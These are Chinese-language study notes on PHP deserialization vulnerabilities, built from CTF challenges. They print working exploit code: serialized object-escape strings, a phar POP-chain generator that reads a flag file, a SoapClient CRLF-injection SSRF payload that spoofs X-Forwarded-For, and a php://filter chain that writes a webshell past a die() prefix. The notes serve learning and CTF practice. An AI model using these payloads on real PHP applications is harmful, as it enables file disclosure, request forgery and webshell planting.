PHP反序列化漏洞学习小结
作者:互联网
PHP反序列化漏洞笔记
前言:根据BUU的一些题和一些学习过的文章记下来的各个知识点
1.反序列化的对象逃逸
- 第一种为
关键词数增加
例如: where->hacker,这样词数由五个增加到6个 - 第二种为
关键词数减少
例如:直接过滤掉一些关键词,例如easy_serialize_php
都是一样的思路,通过序列化后的字符串长度大小来构造有效序列化字符串,有点绕口,直接看这道题就好了
_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//这里可以通过POST传值,然后将$_SEESION值更改为黑名单中的字符串造成逃逸 如:_SESSION['flagflag']=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//反序列化的对象逃逸发生
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
第二道此类型的题:piapiapia2016
看到这个代码就会想起来怎么做的~
<?php
$profile['phone'] = '12312312312';
$profile['email'] = '123@123.com';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';
function filter($string) { # 单引号,双斜杠 'select', 'insert', 'update', 'delete', 'where'
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$a = serialize($profile)."\n";
echo $a;
echo filter(serialize($profile))."\n";
2.protected,private的不可见字符的绕过
绕过方法
- php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
- 手动添加\x00:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
例题
极客大挑战2019PHP
[[网鼎杯 2020 青龙组]AreUSerialz](https://buuoj.cn/challenges#[网鼎杯 2020 青龙组]AreUSerialz)
3.serialize(unserialize($x)) != $x
这是看这篇文章看到的
https://www.anquanke.com/post/id/251366#h2-0
4.phar反序列
(51条消息) Phar反序列化_xiaolong22333的博客-CSDN博客_phar反序列化
可以利用的函数:
5.pop链
pop链的构造就是利用各个类的函数将各个类链接起来
4和5的例题
[(51条消息) SWPUCTF 2018]SimplePHP_Mhu1的博客-CSDN博客
可以看下此exp的编写
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
#pop链: C1e4r::__destruct->Show::__tostring->Test::->__get
$c->params=array("source"=>"/var/www/html/f1ag.php");#获取到f1ag.php内容为base64
$b->str['str']=$c;#通过__tostring里会访问str['str']的source这个属性,而Test类又没有source属性,去调用Test类的__get函数
$a->str=$b;#通过__destruct里会访问str这个属性来调用String的__tostring函数
$phar = new Phar("po2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($a);
$phar->addFromString("po.txt", "po");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这道题也很有意思结合了死亡绕过和pop构造写入webshell
[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[EIS 2019]EzPOP)
[EIS 2019]EzPOP - 夜幕下的灯火阑珊 - 博客园 (cnblogs.com)
6.魔术方法
7.php原生类(ctf常见)
在题目给的的代码中找不到可利用的类时,这个时候考虑使用php中的一些原生类有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny
来禁止一些类的反序列化。
7.1soap
看看P牛新浪某站CRLF Injection导致的安全问题 | 离别歌 (leavesongs.com)
这里需要有个前提是php是安装了php_soap.dll的
再ctfshow的web259遇到了相关的题目ctf.show
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
题目的中心想法就是利用Soap这个类来进行ssrf
payload模板
<!--再php.ini中将extension=php_soap.dll前面的分号去掉,否则无法执行成功-->
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$y = new SoapClient(null,array('location' => $target,'user_agent'=>'test^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "flag"));
$x = serialize($y);
$x = str_replace('^^',"\r\n",$x);
echo urlencode($x);
?>
7.2Error/Exception
7.3Globlterator
8.死亡绕过
[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[羊城杯 2020]EasySer)
- string.strip.tags配合filter协议
write写入 resource数据来源 read参数值可为 string.strip_tags: 将数据流中的所有html(php)标签清除,即可把<?php die("nononon");?>
先删除
exp:
<?php
class GWHT{
public $hero;
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
public $text='YmFzZTY0Y29kZQ==';
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
echo $a."\n";
echo strip_tags($a)."\n";
@file_put_contents($this-> file,$a);
}
}
$a = new Yongen();
$b = new GWHT();
$b->hero =$a;
echo $b;
//echo serialize($b);
?>
这题比较怪的点是反序列的利用点没有给到,wp说的是用arjun扫出来的参数
标签:__,PHP,string,phar,str,序列化,小结,php 来源: https://www.cnblogs.com/yuxiazhengye/p/16250327.html